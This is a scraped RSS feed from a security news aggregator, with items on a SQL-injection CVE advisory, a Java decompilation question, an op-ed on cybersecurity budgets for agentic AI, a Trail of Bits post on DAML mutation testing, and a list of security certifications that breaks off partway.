<description><![CDATA[A vulnerability, which was classified as critical, has been found in code-projects Interview Management System 1.0. This vulnerability affects unknown code of the file \inc\classes\View.php. This manipulation of the argument ID causes sql injection.

This vulnerability is handled as CVE-2026-1513...]]></description>
<link>https://tsecurity.de/de/3655879/sicherheitsluecken/cve-2026-15137-code-projects-interview-management-system-10-incclassesviewphp-id-sql-injection-euvd-2026-42493/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3655879/sicherheitsluecken/cve-2026-15137-code-projects-interview-management-system-10-incclassesviewphp-id-sql-injection-euvd-2026-42493/</guid>
<pubDate>Thu, 09 Jul 2026 05:38:44 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability, which was classified as <a href="https://vuldb.com/kb/risk">critical</a>, has been found in <a href="https://vuldb.com/product/code-projects:interview_management_system">code-projects Interview Management System 1.0</a>. This vulnerability affects unknown code of the file <em>\inc\classes\View.php</em>. This manipulation of the argument <em>ID</em> causes sql injection.

This vulnerability is handled as <a href="https://vuldb.com/cve/CVE-2026-15137">CVE-2026-15137</a>. The attack can be initiated remotely. Additionally, an exploit exists.]]></content:encoded>
</item>
<item>
<title><![CDATA[Best way to decompile and analyze a large Java EE application (.ear / .jar)?]]></title>
<description><![CDATA[I have a local copy of a large enterprise Java application (a .ear archive containing multiple .jar files, thousands of .class files). I need to understand how a specific part of the business logic works by reading the decompiled source. What's the best modern approach/toolchain for this in 2026?...]]></description>
<link>https://tsecurity.de/de/3655770/malware-trojaner-viren/best-way-to-decompile-and-analyze-a-large-java-ee-application-ear-jar/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3655770/malware-trojaner-viren/best-way-to-decompile-and-analyze-a-large-java-ee-application-ear-jar/</guid>
<pubDate>Thu, 09 Jul 2026 04:03:23 +0200</pubDate>
<category>⚠️ Malware / Trojaner / Viren</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><p>I have a local copy of a large enterprise Java application<br> (a .ear archive containing multiple .jar files, thousands<br> of .class files). I need to understand how a specific<br> part of the business logic works by reading the decompiled<br> source.</p> <p>What's the best modern approach/toolchain for this in 2026?</p> <p>- Which decompiler gives the most readable output for<br> large/complex codebases? (I've heard of JADX, Vineflower,<br> CFR, Procyon — which would you recommend?)<br> - Any good way to navigate and trace call flows across<br> thousands of classes once decompiled?<br> - Tips for dealing with obfuscated or hard-to-read<br> decompiled sections?</p> <p>I have legitimate access to the software (it's for<br> interoperability analysis). Just looking for the most<br> efficient workflow. Thanks!</p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/EPM_Finance"> /u/EPM_Finance </a> <br> <span><a href="https://www.reddit.com/r/ExploitDev/comments/1umt9q7/best_way_to_decompile_and_analyze_a_large_java_ee/">[link]</a></span>   <span><a href="https://www.reddit.com/r/ExploitDev/comments/1umt9q7/best_way_to_decompile_and_analyze_a_large_java_ee/">[comments]</a></span>]]></content:encoded>
</item>
<item>
<title><![CDATA[Best way to decompile and analyze a large Java EE application (.ear / .jar)?]]></title>
<description><![CDATA[I have a local copy of a large enterprise Java application (a .ear archive containing multiple .jar files, thousands of .class files). I need to understand how a specific part of the business logic works by reading the decompiled source. What's the best modern approach/toolchain for this in 2026?...]]></description>
<link>https://tsecurity.de/de/3655769/malware-trojaner-viren/best-way-to-decompile-and-analyze-a-large-java-ee-application-ear-jar/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3655769/malware-trojaner-viren/best-way-to-decompile-and-analyze-a-large-java-ee-application-ear-jar/</guid>
<pubDate>Thu, 09 Jul 2026 04:03:21 +0200</pubDate>
<category>⚠️ Malware / Trojaner / Viren</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><p>I have a local copy of a large enterprise Java application<br> (a .ear archive containing multiple .jar files, thousands<br> of .class files). I need to understand how a specific<br> part of the business logic works by reading the decompiled<br> source.</p> <p>What's the best modern approach/toolchain for this in 2026?</p> <p>- Which decompiler gives the most readable output for<br> large/complex codebases? (I've heard of JADX, Vineflower,<br> CFR, Procyon — which would you recommend?)<br> - Any good way to navigate and trace call flows across<br> thousands of classes once decompiled?<br> - Tips for dealing with obfuscated or hard-to-read<br> decompiled sections?</p> <p>I have legitimate access to the software (it's for<br> interoperability analysis). Just looking for the most<br> efficient workflow. Thanks!</p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/EPM_Finance"> /u/EPM_Finance </a> <br> <span><a href="https://www.reddit.com/r/ExploitDev/comments/1umtaxk/best_way_to_decompile_and_analyze_a_large_java_ee/">[link]</a></span>   <span><a href="https://www.reddit.com/r/ExploitDev/comments/1umtaxk/best_way_to_decompile_and_analyze_a_large_java_ee/">[comments]</a></span>]]></content:encoded>
</item>
<item>
<title><![CDATA[Create clean LLM service interfaces with wrapper classes!]]></title>
<description><![CDATA[Author: Google for Developers - Bewertung: 25x - Views:276 When you ask an agent to update a feature, it has to search your entire codebase, which can limit the effectiveness of your AI coding agents. The fix? Separation of concerns. 

Subscribe to Google for Developers → https://goo.gle/develope...]]></description>
<link>https://tsecurity.de/de/3655619/videos/create-clean-llm-service-interfaces-with-wrapper-classes/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3655619/videos/create-clean-llm-service-interfaces-with-wrapper-classes/</guid>
<pubDate>Thu, 09 Jul 2026 01:32:10 +0200</pubDate>
<category>🎥 Videos</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: Google for Developers - Bewertung: 25x - Views:276 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/Q4l3D0fI5dY?autoplay=1&origin=http://tsecurity.de" frameborder="0"></iframe></p><p>When you ask an agent to update a feature, it has to search your entire codebase, which can limit the effectiveness of your AI coding agents. The fix? Separation of concerns. <br />
<br />
Subscribe to Google for Developers → https://goo.gle/developers <br />
<br />
Speaker: Christy Yao<br/></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Job Hunters Turn to AI Classes for New Skills]]></title>
<description><![CDATA[As college students prepare for a future workforce reshaped by AI, universities are responding to the demand by launching new classes and degrees focused on the inner workings of AI and how to use it across careers.]]></description>
<link>https://tsecurity.de/de/3655189/ai-nachrichten/job-hunters-turn-to-ai-classes-for-new-skills/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3655189/ai-nachrichten/job-hunters-turn-to-ai-classes-for-new-skills/</guid>
<pubDate>Wed, 08 Jul 2026 20:33:27 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[As college students prepare for a future workforce reshaped by AI, universities are responding to the demand by launching new classes and degrees focused on the inner workings of AI and how to use it across careers.]]></content:encoded>
</item>
<item>
<title><![CDATA[Reallocating cybersecurity capital in the Mythos era]]></title>
<description><![CDATA[Throughout my career, I’ve seen countless technological shifts categorized as “unprecedented” that turned out to be merely incremental. The recent deployment of advanced, agentic AI models — what we are categorizing here as the “Mythos” capability — is fundamentally different. It represents a per...]]></description>
<link>https://tsecurity.de/de/3654208/it-security-nachrichten/reallocating-cybersecurity-capital-in-the-mythos-era/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3654208/it-security-nachrichten/reallocating-cybersecurity-capital-in-the-mythos-era/</guid>
<pubDate>Wed, 08 Jul 2026 14:08:01 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Throughout my career, I’ve seen countless technological shifts categorized as “unprecedented” that turned out to be merely incremental. The recent deployment of advanced, agentic AI models — what we are categorizing here as the “Mythos” capability — is fundamentally different. It represents a permanent, structural shift in the risk and financial dynamics of the enterprise.</p>



<p>To understand why this requires <a href="https://www.nacdonline.org/all-governance/governance-resources/governance-research/director-handbooks/2026-cyber-risk-oversight/" rel="nofollow">immediate boardroom attention</a>, we must look at the cybersecurity budgeting baseline we are leaving behind. For decades, we relied on a predictable equilibrium: vulnerabilities were discovered and exploited at human speed. That inherent latency gave us a reasonable runway to patch systems and allowed CFOs to safely manage cyber budgets via fixed percentages or predictable annual bumps. With the arrival of machine-speed AI agents, that equilibrium — and the financial assumptions built upon it — is gone.</p>



<p>I want to be clear: this is not a crisis that should cause panic. Rather, it is a severe, balance-sheet-level mismatch in capital allocation. Mythos-level AI hasn’t magically created new vulnerabilities; it has simply industrialized the discovery and exploitation of our existing, legacy technical debt at machine speed.</p>



<p>As leaders, we cannot apply a legacy budgeting model to a machine-speed paradigm. To protect the business, preserve insurability and ensure continuity, we must fundamentally rethink how and where we deploy our cybersecurity capital.</p>



<h2 class="wp-block-heading">The core problem: The economics of asymmetry</h2>



<p>To understand the necessary budget shift, we have to look at the math. The Mythos capability isn’t just fast; it possesses agentic reasoning. Threat actors are no longer manually probing our networks; they are <a href="https://reports.weforum.org/docs/WEF_Global_Cybersecurity_Outlook_2026.pdf" rel="nofollow">using autonomous AI agents</a> to stitch together low-level bugs into critical exploits in hours, not months.</p>



<p>This asymmetry creates a crushing economic burden on our side of the ledger. Historically, a standard enterprise team of 100 software engineers could conservatively spend about 17,700 hours per year triaging code and addressing bad-code issues – a baseline direct labor cost of roughly $708,000 at a conservative US blended $40 hourly rate. In the era of frontier AI models such as Mythos, that hidden labor pool becomes a strategic budget parameter. That’s because AI may accelerate discovery, but enterprises still need the skills of expert technical talent to validate, prioritize and remediate what AI finds.</p>



<p>Today, Mythos-driven scanners can identify up to seven times that standard volume of vulnerabilities. The bottleneck is no longer finding the flaws; it is the human capacity to fix them. I see highly compensated engineering teams drowning in “triage fatigue,” burning millions in payroll hours chasing AI-generated alerts while actual, critical threats slip through the noise.</p>



<p>Throwing more money at our current strategy will only accelerate capital burn. We need a structural pivot.</p>



<h2 class="wp-block-heading">The capital reallocation mandate: Five strategic shifts</h2>



<p>Simply expanding the IT budget is not the answer. Capital must be urgently reallocated away from legacy, perimeter-based defenses and directed into five critical operational areas:</p>



<h3 class="wp-block-heading">1. Network redesign: Funding zero trust and micro-segmentation</h3>



<p>We are still funding the “castle and moat” model, which is obsolete against autonomous agents that either bypass the moat entirely or originate from within it.</p>



<p><strong>The shift:</strong> We must redirect OpEx from legacy firewalls and VPNs into <a href="https://www.cio.com/article/4076366/why-zero-trust-is-fundamental-to-containment-and-microsegmentation.html">Zero Trust Architecture (ZTA)</a>, prioritizing deep micro-segmentation alongside dynamic, AI-driven identity and access management.</p>



<p><strong>The business case:</strong> Operating on a “never trust, always verify” basis is about limiting the blast radius. Micro-segmentation acts as digital bulkheads across your network. If an AI-driven agent compromises a single endpoint or workload, these internal barriers ensure it cannot move laterally to reach your crown-jewel financial or customer data.</p>



<h3 class="wp-block-heading">2. Infrastructure modernization: Retiring legacy technical debt</h3>



<p>Mythos models are incredibly efficient at weaponizing deeply embedded technical debt, particularly in older systems built on unsafe programming languages.</p>



<p><strong>The shift:</strong> We need strategic CapEx allocated to systematically re-architect foundational systems into modern, safe languages.</p>



<p><strong>The business case:</strong> You cannot hire enough humans to patch structural flaws at machine speed. Re-platforming acts as a permanent structural fix, eliminating entire classes of vulnerabilities before the code is even compiled. This requires upfront capital but permanently shrinks the attack surface and reduces long-term OpEx associated with triage.</p>



<h3 class="wp-block-heading">3. Inside security controls: Governing shadow AI</h3>



<p>The most immediate risk to your IP isn’t always an external hacker; it’s your own workforce. To speed up their tasks, well-meaning employees are feeding proprietary source code and sensitive financial data into unsanctioned, public AI models (<a href="https://www.csoonline.com/article/4143302/the-cisos-guide-to-responding-to-shadow-ai.html">shadow AI</a>).</p>



<p><strong>The shift:</strong> Budgets must account for prompt-level Data Loss Prevention (DLP) tools, the creation of secure, private AI enclaves for internal use, and robust Non-Human Identity (NHI) management.</p>



<p><strong>The business case:</strong> A blanket ban on AI stifles productivity and innovation, but unmanaged use invites severe regulatory violations and IP theft. Upgraded internal controls give your workforce the AI tools they need to stay competitive while keeping your proprietary data inside the house.</p>



<h3 class="wp-block-heading">4. Outside security controls: AI-native defense and contextual triage</h3>



<p>Relying on manual labor to manually sort through machine-speed attacks is a losing proposition. We must invest in defenses that contextualize risk instantly.</p>



<p><strong>The shift:</strong> We need to fund AI-native posture management platforms.</p>



<p><strong>The business case:</strong> This is about maximizing the ROI of human labor. Modern platforms prioritize <em>reachability over volume</em>. If a scanner finds 1,000 flaws, but only 10 are actually exposed to the live internet, the platform filters out the 990 irrelevant alerts. This ensures your expensive engineering hours are deployed <em>only</em> where the business faces material financial exposure.</p>



<h3 class="wp-block-heading">5. Operational execution: Deploying autonomous operations</h3>



<p>Finding and prioritizing vulnerabilities is only the first step; executing the fix is where human bottlenecks create catastrophic enterprise risk. Relying on manual ticketing and reactive IT operations is no longer viable.</p>



<p><strong>The shift:</strong> <a href="https://www.weforum.org/stories/2025/06/ai-agents-cybersecurity-defenders-tip-the-scales/" rel="nofollow">Capital must be allocated toward autonomous operations</a> — platforms capable of executing complex, multi-step IT processes with limited human intervention.</p>



<p><strong>The business case:</strong> This fundamentally changes the economics of remediation. By deploying trusted, purpose-built AI agents to handle automated patch management, configuration updates and routine self-healing workflows, you eliminate the human latency in your defense. It shrinks the vulnerability exposure window from weeks to minutes, while freeing your engineering talent to focus on revenue-generating product development rather than endless IT maintenance.</p>



<h2 class="wp-block-heading">The bottom line</h2>



<p>The veil protecting our legacy infrastructure has been lifted. Deploying capital strategically toward network redesign, structural modernization, autonomous execution and AI-native controls is no longer a discretionary technology expense — it is a core fiduciary responsibility and the ultimate determinant of corporate resilience.</p>



<p><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Mutation testing comes to DAML]]></title>
<description><![CDATA[In April we released Mewt, our open-source mutation-testing engine that finds the gaps in your test suite. Today we’re expanding it with support for DAML, the language Canton Network applications are written in. Mewt now reads DAML, generates several classes of mutants (including two built for DA...]]></description>
<link>https://tsecurity.de/de/3654082/it-security-nachrichten/mutation-testing-comes-to-daml/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3654082/it-security-nachrichten/mutation-testing-comes-to-daml/</guid>
<pubDate>Wed, 08 Jul 2026 13:08:35 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>In April we released <a href="https://blog.trailofbits.com/2026/04/01/mutation-testing-for-the-agentic-era/">Mewt</a>, our open-source mutation-testing engine that finds the gaps in your test suite. Today we’re expanding it with support for DAML, the language Canton Network applications are written in. Mewt now reads DAML, generates several classes of mutants (including two built for DAML’s authorization primitives), and runs them through your existing test suite to count how many mutants survive. If you want to try it, simply install Mewt from the <a href="https://github.com/trailofbits/mewt">repository</a>, point a <code>mewt.toml</code> at your project and its test command, and use <code>mewt run</code>.</p>
<p>For a team shipping DAML to production, that count is what a passing test run is actually worth: it puts a number on how much your suite checks, whereas a green run on its own does not.</p>
<h2>Why DAML’s coverage reports lie</h2>
<p>Test coverage is the most reassuring lie in smart-contract development. Hitting 100% line coverage tells you the test runner walked the code; it does not tell you whether any test would fail if that code stopped doing what it is supposed to. We have been grading test harnesses by how many mutants they kill since at least <a href="https://blog.trailofbits.com/2019/01/23/fuzzing-an-api-with-deepstate-part-2/">2019</a>, and <a href="https://blog.trailofbits.com/2025/09/18/use-mutation-testing-to-find-the-bugs-your-tests-dont-catch/">our primer on finding the bugs your tests don’t catch</a> shows how a green suite can still miss the bug that matters.</p>
<p>DAML’s built-in coverage measures execution at the template and choice level: which templates were created and which choices were exercised over the test run. It reports whether each choice was exercised, not what happened inside it. A test that exercises a choice once and asserts nothing about the result reports that choice as covered. The report prints the same green percentage whether the test verifies the outcome or discards it.</p>
<h2>How mutation testing works</h2>
<p>Instead of asking whether your tests reached the code, mutation testing grades your tests by sabotaging that code. The engine generates mutants, copies of the code that each carry one small deliberate change: a flipped comparison, a removed branch, a dropped party. It then runs your test suite against each one. A mutant that makes the suite fail is caught; a mutant that passes every test survives. Every survivor is a change your tests let through, and each one is either harmless or a potential bug. The harmless ones are equivalent code no test could distinguish or a branch no execution reaches, and you can set those aside. The rest are a to-do list: each one is a specific test you are missing, a case your suite should check but does not, occasionally with a real bug sitting behind the gap. The primer above describes a real audit where a mutation campaign surfaced a high-severity bug that the project’s tests had missed.</p>
<h2>Mutation testing forces the unhappy path</h2>
<p>A DAML contract encodes rights and obligations between named parties: who holds what, who owes what to whom, and who must authorize each step. A party is not an anonymous address. It represents a real organization or person, and the contract is the rulebook for how those parties interact, including which of them can take which action, what each is allowed to see, and what stays private between them.</p>
<p>Authorization is how that rulebook is enforced: who may take which action. It is also easy to get wrong in ordinary ways, such as a typo in a controller clause, a missing party, an extra one left over from a refactor. Every combination type-checks, so nothing rejects it before it ships. A static analyzer can flag suspicious patterns, but it has no way to know which party should hold which authority on your contract. That knowledge lives in your specification, and for most projects, the only executable form of the specification is the test suite. Happy-path tests supply every signature the contract asks for and confirm the transaction succeeds. They never try the negative case—removing a required signature and checking that the ledger rejects the transaction—so they never actually test whether that signature was required at all. If the tests don’t encode that rule, nothing downstream can recover it. Mutation testing is what tells you whether they do.</p>
<p>A green test run tells you your tests passed today. Mutation testing asks the harder question: would your tests catch a mistake, now or after the next code change? Where the answer is no, you have found a test case worth writing.</p>
<h2>What Mewt adds for DAML</h2>
<p>Mewt parses every language it supports with a tree-sitter grammar. As of mid-2026, there is no maintained tree-sitter grammar for DAML, so we reused the upstream <code>tree-sitter-haskell</code> grammar. DAML is Haskell-shaped, but its contract constructs (<code>template</code>, <code>choice</code>, <code>controller</code>, and <code>signatory</code>) are not Haskell, and the grammar parses them as error-recovered subtrees. That matters less than it sounds. The common mutations still work on DAML’s ordinary expressions, so Mewt swaps arithmetic and comparison operators, flips Booleans, and removes branches just as it does in any other language, with only small adjustments where DAML’s surface syntax differs (DAML writes <code>/=</code> where most languages write <code>!=</code>). We got most of the value of a from-scratch grammar without building one.</p>
<p>The new engineering went into DAML’s authorization primitives, where the authorization bugs from the previous section live. Mewt adds two DAML-specific mutations:</p>
<ul>
<li>
<p><strong>Controller party swap</strong> (CPS in Mewt’s output): replace one party in a <code>controller</code> clause with another party that is in scope at that site.</p>
</li>
<li>
<p><strong>Controller party removal</strong> (CPR): drop one party from a multi-party controller list.</p>
</li>
</ul>
<p>Both target the same question: if the set of parties allowed to exercise this choice silently changed, would any test fail? They are a deliberately small starting set aimed at the bug class above, and more DAML-specific mutations are in the pipeline.</p>
<p>Driving a campaign needs no new harness. A short <code>mewt.toml</code> names the files to mutate and the test command (<code>dpm test</code> for a Daml 3 project), and <code>mewt run</code> does the rest, reporting each mutant as caught or surviving. The setup is deliberately small: trying it on your own project costs minutes, and we encourage exactly that.</p>
<h2>What a surviving mutant looks like</h2>
<p>Picture a conditional payment between a buyer and a seller: the buyer sets money aside for the goods, and paying it out to the seller requires both parties to sign off. The buyer’s signature is the delivery confirmation. In DAML, that policy is one line: the <code>controller</code> line on the <code>Release</code> choice.</p>
<figure class="highlight">
 <pre tabindex="0"><code class="language-" data-lang="">template ConditionalPayment
 with
 buyer : Party
 seller : Party
 amount : Decimal
 where
 signatory buyer
 observer seller

 choice Release : ()
 with
 paid : Decimal
 controller buyer, seller
 do
 assert (paid == amount)</code></pre>
 <figcaption><span>Figure 1: A payment that requires both the buyer and the seller to approve its release</span></figcaption>
</figure>
<p>A typical happy-path test creates the payment and has both parties approve the release. The <code>actAs buyer &lt;&gt; actAs seller</code> line submits the command with both parties’ authority:</p>
<figure class="highlight">
 <pre tabindex="0"><code class="language-" data-lang="">testHappyPath : Script ()
testHappyPath = script do
 buyer &lt;- allocateParty "Buyer"
 seller &lt;- allocateParty "Seller"
 payment &lt;- submit buyer do
 createCmd ConditionalPayment with
 buyer
 seller
 amount = 100.0
 submit (actAs buyer &lt;&gt; actAs seller) do
 exerciseCmd payment Release with paid = 100.0
 pure ()</code></pre>
 <figcaption><span>Figure 2: The happy-path test. It passes, and coverage reports 100%.</span></figcaption>
</figure>
<p>The test passes, and by the usual measure the suite looks complete: running <code>dpm test</code> with coverage reporting enabled shows full coverage.</p>
<figure class="highlight">
 <pre tabindex="0"><code class="language-" data-lang="">$ dpm test --show-coverage --coverage-ignore-choice Archive
testHappyPath: ok, 0 active contracts, 2 transactions.
- Internal templates: 1 defined, 1 (100.0%) created
- Internal template choices: 1 defined, 1 (100.0%) exercised</code></pre>
 <figcaption><span>Figure 3: The coverage report for the happy-path test. Every template is created and every choice is exercised, for 100% coverage.</span></figcaption>
</figure>
<p>The <code>--coverage-ignore-choice Archive</code> flag deserves a word. Every DAML template automatically gets an implicit <code>Archive</code> choice. It is not part of the business logic under test, so we exclude it for simplicity. With it included, this one-choice template would report 50% even though the test exercises everything we wrote.</p>
<p>Run Mewt on the project and it generates seven mutants. The test suite catches three of them. Four survive. Here is one of the survivors, shown as the diff Mewt reports:</p>
<figure class="highlight">
 <pre tabindex="0"><code class="language-" data-lang=""> choice Release : ()
 with
 paid : Decimal
- controller buyer, seller
+ controller seller
 do
 assert (paid == amount)</code></pre>
 <figcaption><span>Figure 4: The controller-removal mutant that survives the test suite</span></figcaption>
</figure>
<p>Re-run the test suite against this mutant. It still passes, and coverage still reports 100%. The contract claims releasing the buyer’s money requires both parties. The mutant lets the seller release it to themselves without the buyer ever confirming delivery. The tests report green either way. Only a test that tries the <em>forbidden</em> path, the seller acting alone, expecting the ledger to reject it, can tell the two contracts apart. No such test exists, and the mutation score says so. (The other three survivors tell the same story from different angles: the buyer-alone twin of this mutant, and two mutants that weaken the <code>paid == amount</code> check to <code>&lt;=</code> and <code>&gt;=</code>, which survive because the test only ever pays the exact amount.)</p>
<p>Step back, and this is the whole point of the exercise. Your tests are the executable specification of your code. Here the implementation changed, one required approval instead of two, and the specification did not react. That means the expected behavior was underspecified all along: whether both the buyer and the seller have to sign off, or just one of them, was never actually written down anywhere a machine could check. Every controller combination type-checks, and coverage reports 100% for all of them. The only place “both must sign” can exist in checkable form is a test that expects the weakened contract to fail, and writing that test is exactly what the surviving mutant tells you to do.</p>
<h2>Limitations and what comes next</h2>
<p>Mewt is not magic. Two limits are worth knowing before you run your first campaign: not every survivor is a real gap, and a campaign costs time. The roadmap that follows them is where we are taking the work next.</p>
<p>Equivalent mutants exist: some survivors turn out to be semantically identical to the original program, so no test could ever catch them. Few public DAML codebases on GitHub come with a full test suite, so we are glad OpenZeppelin open-sourced its <code>canton-stablecoin</code> reference implementation. Mewt generated hundreds of mutants for it. We ran the highest-priority ones through the existing test suite, and seven of those survived. Three were equivalent mutants or sat behind a guard that no path reaches, and the other four were genuine missing test cases. None of the survivors we reviewed pointed to a bug. Such a clean result is what you want when you run Mewt on your own code, and triaging them took minutes.</p>
<p>One of those equivalent mutants shows what that means concretely. A helper computed accrued debt:</p>
<figure class="highlight">
 <pre tabindex="0"><code class="language-" data-lang="">accrueDebt currentDebt lastAccrual now annualRate =
 if currentDebt == 0.0 || annualRate == 0.0 then currentDebt
 else
 let elapsedYears = ... -- elapsed time as a fraction of a year
 in currentDebt * (1.0 + annualRate * elapsedYears)</code></pre>
 <figcaption><span>Figure 5: The accrueDebt helper. Its first-line guard is a shortcut that returns the same value the calculation already produces.</span></figcaption>
</figure>
<p>Mewt forced the <code>if</code> to always take the <code>else</code> branch. No test failed, and none ever could: when the debt is zero, the formula multiplies by zero and returns zero, and when the rate is zero, it multiplies the debt by one and returns it unchanged. The guard is a shortcut that returns the value the formula already produces, so removing it changes nothing. Mewt suppresses the equivalent mutants it can detect. The rest need a reviewer’s judgment to dismiss.</p>
<p>Campaigns cost time in two places. The machine part: Mewt runs your test suite once per mutant, so the wall-clock cost is roughly the number of mutants times how long one test run takes, plus a rebuild if your project needs one. That is minutes on a small codebase and hours on a large one or a slow suite, so the cadence that works is nightly or weekly rather than per-commit. The human part: someone has to look at the survivors. We are working on that front from several directions at Trail of Bits, including our <a href="https://github.com/trailofbits/skills/tree/main/plugins/mutation-testing">mutation-testing skill</a> that helps configure campaigns for your project, and <a href="https://blog.trailofbits.com/2026/04/23/trailmark-turns-code-into-graphs/">Trailmark</a> with its <code>genotoxic</code> triage skill. None of these understand DAML yet, but the direction is clear: given the right harness and tools, the time-consuming parts of a campaign can be handed to AI agents. The effort is modest and the payoff is concrete: each genuine survivor is a specific test you can write, and every test you add makes your suite enforce one more guarantee your contracts are supposed to make.</p>
<p>Also on the roadmap: choice-consumption mutations (<code>consuming</code> vs <code>nonconsuming</code>) sit cleanly on top of the controller-mutation scaffolding and target a bug class Mewt does not yet reach.</p>
<h2>Dive in</h2>
<p>Install Mewt from the <a href="https://github.com/trailofbits/mewt">repository</a>, point a <code>mewt.toml</code> at your project and its test command, and <code>mewt run</code>. The quickstart in the README covers the rest. DAML works out of the box. Everything here ran on Daml 3.4 with <code>dpm</code>, but Mewt just drives whatever test command you configure, so Daml 2 projects using the <code>daml</code> assistant work the same way.</p>
<p>Mutation testing complements the rest of your security stack, the type checkers, linters, and property tests you already run, rather than replacing any of it.</p>
<p>If you’re building on Canton, we help teams with security reviews of DAML applications and with the way the code gets built: working directly with your engineers on the development process itself. <a href="https://www.trailofbits.com/contact/">Contact us</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[13 in-demand IT security certifications for higher pay]]></title>
<description><![CDATA[With change a constant, cybersecurity professionals looking to improve their careers can benefit from the latest insights into employers’ needs. Data from Foote Partners on the skills and certification most in demand today may provide helpful signposts.



Analyzing more than 660 certifications a...]]></description>
<link>https://tsecurity.de/de/3653485/it-security-nachrichten/13-in-demand-it-security-certifications-for-higher-pay/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3653485/it-security-nachrichten/13-in-demand-it-security-certifications-for-higher-pay/</guid>
<pubDate>Wed, 08 Jul 2026 09:08:38 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>With change a constant, cybersecurity professionals looking to improve their careers can benefit from the latest insights into employers’ needs. Data from Foote Partners on the skills and certification most in demand today may provide helpful signposts.</p>



<p>Analyzing more than <a href="https://footepartners.com/pages/report-skills-certs">660 certifications</a> as part of its 2Q 2026 “IT Skills Demand and Pay Trends Report,” Foote Partners calculated the most valuable IT security certifications to pursue right now based on two dimensions. The first, the <a href="https://www.cio.com/article/350363/pay-for-in-demand-it-skills-rises-fastest-in-14-years.html">average pay premium</a>, measures the difference in pay between IT pros with a particular credential and those without it. The second, market value increase, measures the increase in pay gains over the past six months.</p>



<p>Together, average pay premium and market value increase can give cybersecurity pros a starting point in deciding which certification to pursue for more pay. Apart from considering their overall professional goals, security professionals should consider each certification’s training and exam costs, whether vendor-specific or vendor-neutral, and the lateral or vertical role opportunities it may open.</p>



<p>Here are the top 13 certifications paying higher premiums today in descending order.</p>



<h2 class="wp-block-heading">GIAC Security Expert (GSE)</h2>



<p>The <a href="https://www.giac.org/get-certified/giac-portfolio-certifications">GIAC Security Expert</a> (GSE) portfolio certification is for security leaders wishing to prove their status as a top information security practitioner by showing they have offensive and defensive skills and hands-on practical skills. Available for more than 15 years, the GSE is considered one of the broadest and deepest cybersecurity certifications. To earn the certification, candidates must complete any six <a href="https://www.giac.org/get-started/practitioner">practitioner</a> certifications and any four <a href="https://www.giac.org/get-started/applied-knowledge">applied knowledge</a> certifications.</p>



<p>GIAC allows candidates to customize the certification to fit their expertise and career. Candidates can also build their certification over any amount of time as along as the required certifications within the portfolio remain active. Practitioner certification exams are 2-5 hours in length, depending on the specific certification attempt, and applied knowledge certification exams are 4 hours in length.</p>



<p><strong>Training fees:</strong> Some training is offered in affiliation with SANS Institute and costs $8,780.</p>



<p><strong>Exam Fees:</strong> Because you need 10 certifications to achieve the GSE <a href="https://www.giac.org/pricing">prices vary significantly</a>. If you already hold a GIAC Certified Forensic Analyst (GCFA), the cost of one of the required certifications drops from $1,299 to $499. Most required certifications are priced at either $999 or $1,299 per attempt, though they can cost up to $11,190.</p>



<h2 class="wp-block-heading">GIAC Security Professional (GSP)</h2>



<p>The <a href="https://www.giac.org/get-certified/giac-portfolio-certifications">GIAC Security Professional (GSP)</a> is designed to demonstrate the holder’s depth and breadth of information security knowledge. Launched approximately two years, this newer certification is the halfway point to the GSE. Customization of the certification is allowed, and to achieve it a candidate must complete any three <a href="https://www.giac.org/get-started/practitioner">practitioner</a> certifications and any two <a href="https://www.giac.org/get-started/applied-knowledge">applied knowledge</a> certifications. Candidates can also build their certification over any amount of time as along as the required certifications within the portfolio remain active. Practitioner Certification exams are 2-5 hours in length, depending on the specific certification attempt, and Applied Knowledge Certification exams are 4 hours in length.</p>



<p><strong>Training fees:</strong> Some training is offered in affiliation with SANS Institute and costs $8,780.</p>



<p><strong>Exam Fees:</strong> Because you need five certifications to achieve the GSP <a href="https://www.giac.org/pricing">prices vary significantly</a>. If you already hold a GIAC Security Essentials (GSEC), the cost of one of the required certifications drops from $1,299 to $499. Most certifications required are priced at either $999 or $1,299 per attempt, though certification can cost up to $5,595.</p>



<h2 class="wp-block-heading">Microsoft Certified Azure Cybersecurity Architect Expert</h2>



